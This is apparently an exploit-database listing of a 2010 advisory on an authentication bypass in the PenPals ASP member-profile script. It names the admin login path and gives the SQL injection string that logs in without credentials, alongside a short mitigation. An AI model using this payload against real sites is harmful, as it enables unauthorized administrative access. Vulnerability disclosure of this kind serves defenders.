PenPals Authentication Bypass

vendor:

PenPals

by:

L0rd CrusAd3r

7,5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: PenPals

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: anblik.com

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

PenPals Authentication Bypass

This vulnerability allows an attacker to bypass authentication by using the string a' or '1'='1 for Username and Password to gain access.

Mitigation:

Ensure that authentication credentials are properly validated and that user input is properly sanitized.

Source

Exploit-DB raw data:

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: PenPals Authentication Bypass
Vendor url:http://www.anblik.com
Version:1.0
Price:1200$
Published: 2010-06-17
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

This ASP/XHTML/CSS script allows your members to upload and maintain their personal details on your website. Members can view each others details and add them in their personal contact wallet. Adding members to contact wallet may be free or restricted or payable, all these can be configured and set from the site administration area. From the administration area many member groups for member registration can be created with various levels of features - like whether the group members can list their profile or the number of profiles that a member can access or even whether a member can mark their profile a featured one. Members can chat with other members through ICQ/Yahoo and can also send virtual flowers to other members in the site. All the pages in the website are created following XHTML(Transitional) guidelines with pure table-less Liquid theme design and Search Engine Optimization in mind.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*Authentication Bypass

DEMO URL :

http://[site]/admin/login.asp

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #